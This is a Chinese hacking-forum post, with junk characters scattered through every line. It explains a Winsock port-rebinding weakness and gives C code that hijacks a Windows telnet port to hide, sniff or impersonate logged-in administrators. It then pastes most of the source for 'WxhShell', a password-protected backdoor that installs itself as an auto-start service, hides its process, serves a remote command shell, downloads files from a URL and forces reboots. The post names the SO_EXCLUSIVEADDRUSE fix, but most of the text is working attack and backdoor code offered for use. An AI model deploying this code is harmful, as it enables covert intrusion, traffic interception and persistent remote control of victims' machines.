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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :~t<L%tYF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?N4A9W9  
GS}0;x  
  saddr.sin_family = AF_INET; so} l#  
 ;e&!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wX-RQ[2X  
{V[Ha~b%*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;US83%*  
dKU5;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 cICHRp&&  
S\B5&W  
  这意味着什么?意味着可以进行如下的攻击: S&n[4*  
q z=yMIy=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b![t6-f^z  
Qn *6D  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f 4R1$(<  
Ip>^O/}$1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9U]pH%.9  
NeY"6!;k  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;)gLjF/F7  
5+`=t07^et  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }W1^t  
/M 0 p_4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yHl@_rN sC  
M6\7FP6G  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @|^jq  
:ezA+=ENg  
  #include DX|uHbGg  
  #include xYmdCf@H  
  #include B9wp*:.  
  #include    #De(*&y2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   JdtPY~k0  
  int main() -eUV`&[4  
  { NzAQ@E 2d:  
  WORD wVersionRequested; %=BtOM_2  
  DWORD ret; . /Y&\<  
  WSADATA wsaData; m+H%g"Zj  
  BOOL val; 1sD~7KPg?  
  SOCKADDR_IN saddr; *h2`^Z  
  SOCKADDR_IN scaddr; PDhWFF  
  int err; r9?o$=T  
  SOCKET s; Bgf=\7;5  
  SOCKET sc; mLJDxh'B  
  int caddsize; \F[n`C"Is  
  HANDLE mt; ?k"0w)8  
  DWORD tid;   7 xUE,)?  
  wVersionRequested = MAKEWORD( 2, 2 ); mIRAS"Q!m  
  err = WSAStartup( wVersionRequested, &wsaData ); C}9Kx }q  
  if ( err != 0 ) { &uPDZ#C-  
  printf("error!WSAStartup failed!\n"); dnix:'D1  
  return -1; t{~@I  
  } Hv3W{|  
  saddr.sin_family = AF_INET; +B#qu/By  
   gNTh% e  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1f<RyAE?5  
=m~ruZ/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )]wuF`  
  saddr.sin_port = htons(23); =w6}\ 'X  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L/)B}8m\  
  { *y{+W   
  printf("error!socket failed!\n"); goB;EWz  
  return -1; gd K*"U  
  } {b2 aL7  
  val = TRUE; z<t>hzl 7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <E SvvTf  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) U3/8A:$y  
  { mdaYYD=c%  
  printf("error!setsockopt failed!\n"); # J]~  
  return -1; <iRWd  
  } X3AwM%,!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8|6~o.B.G  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r( M[8@Nz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 rfX=*mjt  
nz[ m3]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) KYf;_C,$  
  { [NL -!  
  ret=GetLastError(); ! j{CuA/  
  printf("error!bind failed!\n"); iyc$)"w  
  return -1; O)`Gzx*ShU  
  } s0 47"Q  
  listen(s,2); LaclC]yLU  
  while(1) \KCWYi]  
  { lr0M<5d=p  
  caddsize = sizeof(scaddr); YIO.yN"0  
  //接受连接请求 '^DUq?E4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); '=p?  
  if(sc!=INVALID_SOCKET) ?]5Ix1  
  { ^( DL+r,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); J B(<.E 2  
  if(mt==NULL) 5~QT g  
  { 1) 'Iu`k/  
  printf("Thread Creat Failed!\n"); [EER4@_  
  break; 7/ t:YBR  
  } xdqK.Z%  
  } 7C?E z%a@  
  CloseHandle(mt); Tv1]v.  
  } ;5N41_hG  
  closesocket(s); F*,5\s<  
  WSACleanup(); mVt3WZa  
  return 0; ncj!KyU  
  }   #hy+ L  
  DWORD WINAPI ClientThread(LPVOID lpParam) [8TS"ph>  
  { :mP9^Do2;  
  SOCKET ss = (SOCKET)lpParam; <n\i>A3`,S  
  SOCKET sc; 6m@0;Ht  
  unsigned char buf[4096]; Mb1wYh  
  SOCKADDR_IN saddr; WU7cF81$  
  long num; 5/,Qz>QE[  
  DWORD val; _-RyHgX  
  DWORD ret; 8RU.}PD  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #n#HzbT  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >x*)GPDa  
  saddr.sin_family = AF_INET; FllX za)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ZL,8,;]  
  saddr.sin_port = htons(23); [1U{ci&=p  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "O``7HA}  
  { y] y9'5_  
  printf("error!socket failed!\n"); Hr&Ere8.4p  
  return -1; ~U3S eo }  
  } w{r8kH  
  val = 100; Cg^:jd  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;t!9]1  
  { ^o bC4(  
  ret = GetLastError(); ; [FLT:$  
  return -1; op.d;lO@  
  } ly=a>}F_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w,/6B&|  
  { mqw 84u  
  ret = GetLastError(); '-.wFB;  
  return -1; zIm-X,~I$  
  } h 1*FPsc  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5VZjDg?  
  { =|"= l1  
  printf("error!socket connect failed!\n"); w&5/Zh[~~L  
  closesocket(sc); (gU2"{:]J  
  closesocket(ss); ]w-.|vx  
  return -1; MnS+nH!d  
  } DN<M?u]  
  while(1) ?<6@^X"  
  { AOAO8%|I  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j_V/GnEQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kP?_kMOx  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 b`zET^F  
  num = recv(ss,buf,4096,0); {mf.!Xev  
  if(num>0) QXY}STs  
  send(sc,buf,num,0); x) 5LT}p  
  else if(num==0) ]Zk}ZG>6  
  break; o[^Q y(2~  
  num = recv(sc,buf,4096,0); o}  {-j  
  if(num>0) =ajLa/m'  
  send(ss,buf,num,0); Si R\a!,C  
  else if(num==0) h1-Gp3#  
  break; g>T  
  } cJ/4G l  
  closesocket(ss); 8)?_{  
  closesocket(sc); #N9d$[R*  
  return 0 ; ~of,,&  
  } Y;eoT J  
$ 9=8@  
d"GDZ[6  
========================================================== ?Sw /(}|m  
!-,Ww[G>  
下边附上一个代码,,WXhSHELL GV>&g  
Wn~ZA#  
========================================================== #j.FJFGX  
#R<G,"N5  
#include "stdafx.h" ?0) @jc=  
Q.E_:=*H  
#include <stdio.h> EBwK 7c  
#include <string.h> u(Rk'7k  
#include <windows.h> 'kEG.Oq7  
#include <winsock2.h> MQ9vPgh  
#include <winsvc.h> s~Gw  
#include <urlmon.h> URQ@=W7  
*(Ro;?O,pi  
#pragma comment (lib, "Ws2_32.lib") 7_%2xewV|  
#pragma comment (lib, "urlmon.lib") LD_M 3 P  
{2 EMz|&8  
#define MAX_USER   100 // 最大客户端连接数 o3\,gzJ  
#define BUF_SOCK   200 // sock buffer n.ct]+L  
#define KEY_BUFF   255 // 输入 buffer Z /h|\SyJ  
sUV>@UMnu  
#define REBOOT     0   // 重启 0 Z8/R  
#define SHUTDOWN   1   // 关机 QoseS/  
e96#2A5f  
#define DEF_PORT   5000 // 监听端口 \HD-vINV;  
N%*9&FjrL  
#define REG_LEN     16   // 注册表键长度 r&Q t_  
#define SVC_LEN     80   // NT服务名长度 b!,ja?  
0ERsMnU'  
// 从dll定义API sZwZWD'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^vW$XRnt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XmlIj8%9[&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /tzlbI]z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z{/LX \  
)mG0g@qOK  
// wxhshell配置信息 )ji@k(x27q  
struct WSCFG { ;AJ< LC  
  int ws_port;         // 监听端口 `@MPkC y1  
  char ws_passstr[REG_LEN]; // 口令 %l;*I?0H  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8,y{q9O  
  char ws_regname[REG_LEN]; // 注册表键名 <r3Jf}%tT  
  char ws_svcname[REG_LEN]; // 服务名 W #47Cz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y+RRg[6|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 PT05DH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ftaBilkjp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P=Puaz5&{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4i`S+`#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <5k&)EoT  
F^miq^K=  
}; DyIV/  
;:?*t{r4#  
// default Wxhshell configuration OW#_ty_ul  
struct WSCFG wscfg={DEF_PORT, %",ULtZ+  
    "xuhuanlingzhe", ]zcV]Qj$~  
    1, lz}llLb1  
    "Wxhshell", qw2)v*Fn  
    "Wxhshell", XECikld>  
            "WxhShell Service", sS|<&3  
    "Wrsky Windows CmdShell Service", >Fp&8p`am  
    "Please Input Your Password: ", O{nC^`X  
  1, G:DSWW}  
  "http://www.wrsky.com/wxhshell.exe", o6|"J%9GX  
  "Wxhshell.exe" ng 9NE8F  
    }; qh H+m  
c&b/Joi7@  
// 消息定义模块 _0m}z%rI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F^]aC98]1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !?6.!2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qsTq*G  
char *msg_ws_ext="\n\rExit."; "vsjen.K>  
char *msg_ws_end="\n\rQuit."; $ hoYkA  
char *msg_ws_boot="\n\rReboot..."; ,6RQvw  
char *msg_ws_poff="\n\rShutdown..."; !]G jIT]Oh  
char *msg_ws_down="\n\rSave to "; /cYk+c  
F@EZ;[  
char *msg_ws_err="\n\rErr!"; GZS{&w!  
char *msg_ws_ok="\n\rOK!"; RyE_|]I62u  
77tZp @>hn  
char ExeFile[MAX_PATH]; ]`K[W&  
int nUser = 0; j C9<hLt  
HANDLE handles[MAX_USER]; nSS}%&a:LX  
int OsIsNt; H(?e&Qkg  
O'fc/cvh='  
SERVICE_STATUS       serviceStatus; M&OsRrq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; soDfi-2o3  
Cc*|Zw  
// 函数声明 "raj>2@  
int Install(void); v=>3"!*  
int Uninstall(void); y+= \z*9  
int DownloadFile(char *sURL, SOCKET wsh); ZRO.bMgZF  
int Boot(int flag); Rd0?zEKV  
void HideProc(void); B]i+,u  
int GetOsVer(void); h~ZNHSP:  
int Wxhshell(SOCKET wsl); 0OEtU5lf`y  
void TalkWithClient(void *cs); ^>eFm8`N  
int CmdShell(SOCKET sock); j~.u>4  
int StartFromService(void); jWhD5k@v  
int StartWxhshell(LPSTR lpCmdLine); g{]ej  
sE}sE=\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <9 T [yg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h ;jsH!  
I'P!,Y/>  
// 数据结构和表定义 F\:{}782u  
SERVICE_TABLE_ENTRY DispatchTable[] = u>1v~3,r#  
{ a9L0f BRy  
{wscfg.ws_svcname, NTServiceMain}, 0 oQ/J:  
{NULL, NULL} (KZUvsSk  
}; )2/b$i,JKk  
Y[T J;O!R  
// 自我安装 95VqaR,  
int Install(void) 80cm6?,xu  
{ wAPO{3  
  char svExeFile[MAX_PATH];  X+\0%|  
  HKEY key; IK85D>00T  
  strcpy(svExeFile,ExeFile); rtoSCj:  
N0=b[%g;n  
// 如果是win9x系统,修改注册表设为自启动 ?fm2qrV@fp  
if(!OsIsNt) { b\H/-7<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U24V55ZnI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eUYG96Jw  
  RegCloseKey(key); 4U:DJ_GN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WtMcI>4w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cS+?s=d  
  RegCloseKey(key); p {w}  
  return 0; N{|[R   
    } g\E ._ab<  
  } f.sPE8 #3=  
} 0GF%~6  
else { s 8C:QC  
UX03"gX  
// 如果是NT以上系统,安装为系统服务 e$gaE</  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9.^-us1  
if (schSCManager!=0) U. NeK{  
{ CdE2w?1  
  SC_HANDLE schService = CreateService m21QN9(i%  
  ( TZ)(ZKX*R  
  schSCManager, l@ (t^68OD  
  wscfg.ws_svcname, 3J23q  
  wscfg.ws_svcdisp, _ak.G=  
  SERVICE_ALL_ACCESS, PsacXZNs\N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \t[ hg  
  SERVICE_AUTO_START, ^a: Saq-}  
  SERVICE_ERROR_NORMAL, }x>}:"P;W  
  svExeFile, bwv/{3G,Ys  
  NULL, `W6:=H  
  NULL, Be'?#Qe   
  NULL, _Jt_2o%G  
  NULL, ]KfghRUH  
  NULL "87O4 #$  
  ); a>#d=.  
  if (schService!=0) =lw4 H_  
  { 9_I[o.q   
  CloseServiceHandle(schService); Tey,N^=ek  
  CloseServiceHandle(schSCManager); Q5T(;u6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Nu>sp,|A  
  strcat(svExeFile,wscfg.ws_svcname); +F#=`+V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2X qPZ]2g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 17?NR\Q  
  RegCloseKey(key); 7] R6  
  return 0; btJ,dpir  
    } |s)VjS4@  
  } R;5QD`  
  CloseServiceHandle(schSCManager); ? Yynd  
} /r #b  
} 7R% PVgS4x  
$sB48LJuU'  
return 1; My`josJ`Pb  
} iPR!JX _  
TPV6$a<  
// 自我卸载 11^ {W F  
int Uninstall(void) {m1t~ S   
{ k:&?$  
  HKEY key; NXC~#oG  
^Y1AeJ$L  
if(!OsIsNt) { 1t} (+NNjH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o+PQ;Dl  
  RegDeleteValue(key,wscfg.ws_regname); BZnp #}f  
  RegCloseKey(key); N> uZt2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b7F3]W<`&  
  RegDeleteValue(key,wscfg.ws_regname); Fj4l %=  
  RegCloseKey(key); 8=!r nJCav  
  return 0; 0%(4G83gw  
  } P"[ifs p  
} WHdqO8  
} j};pv2  
else { ,4h! "c  
8VBkIYgb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); js%4;  
if (schSCManager!=0) }kgjLaQ^N  
{ M4L~bK   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #]N&6ngJ  
  if (schService!=0) s~IA},F,\  
  { 5,G<}cd  
  if(DeleteService(schService)!=0) { ~Sn5;g8+\  
  CloseServiceHandle(schService); ^"6D0!'N  
  CloseServiceHandle(schSCManager); =B ,_d0Id  
  return 0; ?trt4Tbe/  
  } z[$9B#P  
  CloseServiceHandle(schService); 4q@9  
  } N`L' 4v)  
  CloseServiceHandle(schSCManager); Zip K;!9by  
} VLwJ6?.f'  
} ePu2t3E  
Y;%R/OyWY  
return 1; ajcPt]f  
} t6H2tP\AS  
^| a&%wxA  
// 从指定url下载文件 _z_3%N  
int DownloadFile(char *sURL, SOCKET wsh) s`$_  
{ <W^XSk  
  HRESULT hr; Npg5Z%+y  
char seps[]= "/"; 7kWZMi  
char *token; ;{F;e)${M  
char *file; o#KPrW`XJ/  
char myURL[MAX_PATH]; 8m1 3M5r  
char myFILE[MAX_PATH]; l yLK$B?/  
)=SYJ-ta<  
strcpy(myURL,sURL); }X W#?l  
  token=strtok(myURL,seps); @zVBn~=i  
  while(token!=NULL) +2_6C;_DX  
  { gP_d >p:b  
    file=token; :BrnRW64  
  token=strtok(NULL,seps); d/-]y:`f`  
  } h>`'\qy  
~n]2)>6  
GetCurrentDirectory(MAX_PATH,myFILE); aS1P]&  
strcat(myFILE, "\\"); >x_:=%Wr+  
strcat(myFILE, file);  +lf@O&w  
  send(wsh,myFILE,strlen(myFILE),0); wTgx(LtH  
send(wsh,"...",3,0); Vms7 Jay  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a\HtxR8L  
  if(hr==S_OK) H?zCIue3  
return 0; {H7$uiq3:B  
else KH6n3\=  
return 1; BR0p0%  
7=M'n;!Mh  
} A)`fD %+  
ED =BZR  
// 系统电源模块 6u]OXP A|  
int Boot(int flag) 80l3.z,:  
{  vCH v  
  HANDLE hToken; 1H2u,{O  
  TOKEN_PRIVILEGES tkp; qT-nD}  
yrv SbqR  
  if(OsIsNt) { A5>gLhl7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SUFaHHk@/b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m} F Ce  
    tkp.PrivilegeCount = 1; SJ|.% gn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~?8 x0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4 *2>R8SX~  
if(flag==REBOOT) { %_X[{(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =w>>7u$4  
  return 0; 4@V<Suw  
} B #V 4  
else { V44sNi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J W yoh|  
  return 0; ] !*  
} Zv7$epDUz  
  } TYLl_nGr  
  else { T;pn -  
if(flag==REBOOT) { b<8J;u<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KX`nHu;  
  return 0; 7!QXh;u  
} ~>-;(YU"t  
else { #p9z#kin  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MH~qfH>K  
  return 0; `?S?)0B  
} V/[,1W[B  
} B[m{2XzGH  
)^' B:ic  
return 1; moM&2rgdrQ  
} =rtA{g$)+  
a*wJcJTpV"  
// win9x进程隐藏模块 x jUH<LFxy  
void HideProc(void) k~EPVJh"  
{ OQb9ijLeK  
;cHI3V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fyoB]{$p8  
  if ( hKernel != NULL ) (( IBaEq  
  { !iz vY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^Th"`Av5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Bc@r*zb  
    FreeLibrary(hKernel); 0 Ln5e.&  
  } 1R~WY'Ed  
25@j2K(  
return; L}S4Zz18  
} O?J:+L(  
M{kh=b)V  
// 获取操作系统版本 2]3Jb{8FI>  
int GetOsVer(void) g4qdm{BL  
{ xwp?2,<  
  OSVERSIONINFO winfo; WatLAn+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5 nIlG  
  GetVersionEx(&winfo); qO3BQ]UF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^E?V+3mV  
  return 1; . t%Vx  
  else ^{+:w:g  
  return 0; T-8nUo}i  
} ^3s&90  
`Q^Sm`R  
// 客户端句柄模块 B]}V$*$ \?  
int Wxhshell(SOCKET wsl) M4PUJZ]  
{ iBW6<2@oZF  
  SOCKET wsh; RvZ-w$E&?  
  struct sockaddr_in client; T[=cKYp8\  
  DWORD myID; Qi]Z)v{^  
cTx/Y&\9  
  while(nUser<MAX_USER) LsZ!':LN  
{ "LaX_0t)  
  int nSize=sizeof(client); H 1X]tw.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 54DR.>O  
  if(wsh==INVALID_SOCKET) return 1; X',0MBQ0  
|VEAzY|[#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2/q=l?  
if(handles[nUser]==0) ]<z(Rmn`Q  
  closesocket(wsh); ffd 3QQ  
else 4'b]2Mn3   
  nUser++; v!9Imf  
  } "fJ|DE&@<i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &+iW:  
D)Rf  
  return 0; To? bp4  
} a-2 {x2O  
zW`koRH@  
// 关闭 socket :R\v# )C  
void CloseIt(SOCKET wsh) eyjUNHeh#  
{ :Aiu!}\  
closesocket(wsh); ]lYEJ`  
nUser--; t? J a q  
ExitThread(0); %Z0S"B 3  
} ov>L-  
BtApl)q#  
// 客户端请求句柄 eE_XwLE  
void TalkWithClient(void *cs) vs5wxTM  
{ L umD.3<  
?Gw89r  
  SOCKET wsh=(SOCKET)cs; <]qd9mj5  
  char pwd[SVC_LEN]; tX}S[jdq  
  char cmd[KEY_BUFF]; DA@hf  
char chr[1]; / {~h?P}  
int i,j; l;kZS  
g}KZL-p4\m  
  while (nUser < MAX_USER) { *uM*)6O 3  
b u9&sQ;  
if(wscfg.ws_passstr) { s4k%ty}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fG5}'8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _\;# a  
  //ZeroMemory(pwd,KEY_BUFF); MCG~{#`  
      i=0; Q kpmPQK  
  while(i<SVC_LEN) { @23x;x  
UH|.@7w  
  // 设置超时 BQg]$Tr?  
  fd_set FdRead; gP%!  
  struct timeval TimeOut; @!O{>`  
  FD_ZERO(&FdRead); Z"T(8>c;g  
  FD_SET(wsh,&FdRead); r0bPaAKw  
  TimeOut.tv_sec=8; T bWZw  
  TimeOut.tv_usec=0; >vy+U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1e} 3L2rC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  gOAluP  
=(\!,S'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4=:eGlU93U  
  pwd=chr[0]; :!h H`l}p  
  if(chr[0]==0xd || chr[0]==0xa) { !S{<Xc'wv  
  pwd=0; !WnI`  
  break; ji=po;g=E  
  } XLxr~Yo  
  i++; S,%HW87  
    } S`KCVQ>V  
Ma#-'J  
  // 如果是非法用户,关闭 socket ^u,x~nPXg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  '|T=  
} NZP,hAUK,  
B[V=l<J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zy;w07-)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u;}B4Rx  
E1_4\ S*z  
while(1) { hDsORh!i  
#Qd3A  
  ZeroMemory(cmd,KEY_BUFF); :nEV/"#F  
.x%SbG<k{  
      // 自动支持客户端 telnet标准   &N;6G`3  
  j=0; k0?6.[ku  
  while(j<KEY_BUFF) { _"V0vV   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /d'u1FnA =  
  cmd[j]=chr[0]; `I$A;OPK7  
  if(chr[0]==0xa || chr[0]==0xd) { *JXJ 2  
  cmd[j]=0; P s;:g0  
  break; TKX#/  
  } ic#drpl,  
  j++; @eWx4bl  
    } i-b7  
)`-]nMc  
  // 下载文件 $)V4Eu;  
  if(strstr(cmd,"http://")) { -2_$zk*n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hNy S  
  if(DownloadFile(cmd,wsh)) ?2;G_P+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0f1#T gX  
  else rkl7p?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OpQa!  
  } IIZsN*^  
  else { _I!&w!3oM  
kpu^:N &  
    switch(cmd[0]) { (C%'I  
  i$bBN$<b<  
  // 帮助 H_FhHX.2(  
  case '?': { sTz*tSwQv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k_B^2=  
    break; H"l'E9k.&p  
  } a{W-+t   
  // 安装 qT4s* kqr  
  case 'i': { 4{KsCd)  
    if(Install()) p%-9T>og  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !TF VBK  
    else L')zuI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <9~qAq7^  
    break; aJ5R0Y,  
    } %ZK}y{u\  
  // 卸载 =qRVKz  
  case 'r': { P'8 E8_M}  
    if(Uninstall()) Apn#o2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k|5nu-B0v  
    else :*1w;>o)n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R7i*f/m  
    break; A-FwNo2"%  
    } 0"N %Vm  
  // 显示 wxhshell 所在路径 w6_}] &F  
  case 'p': { L;[*F-+jD  
    char svExeFile[MAX_PATH]; d,)L,J  
    strcpy(svExeFile,"\n\r"); F`u~Jx8.*  
      strcat(svExeFile,ExeFile); y(k2p  
        send(wsh,svExeFile,strlen(svExeFile),0); Kf.b <wP{  
    break; x3Uv&  
    } :-)[B^0  
  // 重启 EIRf6jL  
  case 'b': { V_* ^2c)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =j0V/=  
    if(Boot(REBOOT)) [>;O'>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A?/?9Gr  
    else { \<} nn?~n  
    closesocket(wsh); xcig'4L  
    ExitThread(0); v6:DA#0  
    } u#\3T>o%@  
    break; $$@Tgkg?o  
    } ? &O$ayG77  
  // 关机 |}; ~YMH  
  case 'd': { 5h1j.t!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w9%gaK;  
    if(Boot(SHUTDOWN)) WxFjpJt  
